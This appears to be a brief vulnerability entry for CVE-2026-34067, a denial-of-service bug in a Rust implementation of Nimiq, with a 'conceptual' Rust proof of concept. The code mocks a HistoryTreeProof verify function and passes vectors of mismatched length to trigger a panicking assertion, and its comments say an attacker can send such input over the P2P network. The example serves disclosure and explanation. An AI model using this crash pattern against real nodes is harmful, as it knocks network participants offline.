CVE-2026-34067 Nimiq Rust实现拒绝服务漏洞

// Conceptual PoC for CVE-2026-34067 // Demonstrates crafting a payload to trigger the panic in vulnerable versions. // Mocking the struct for demonstration purposes struct HistoryTreeProof; impl HistoryTreeProof { // Vulnerable function logic pub fn verify(history: Vec<u8>, positions: Vec<u8>) -> bool { // This assertion causes the panic assert_eq!(history.len(), positions.len()); true } } fn main() { // Attacker controls these inputs via P2P network let malicious_history = vec![1, 2, 3]; // Length 3 let mismatched_positions = vec![1]; // Length 1 // Triggering the vulnerability // In a real scenario, this is called when processing a network message HistoryTreeProof::verify(malicious_history, mismatched_positions); }
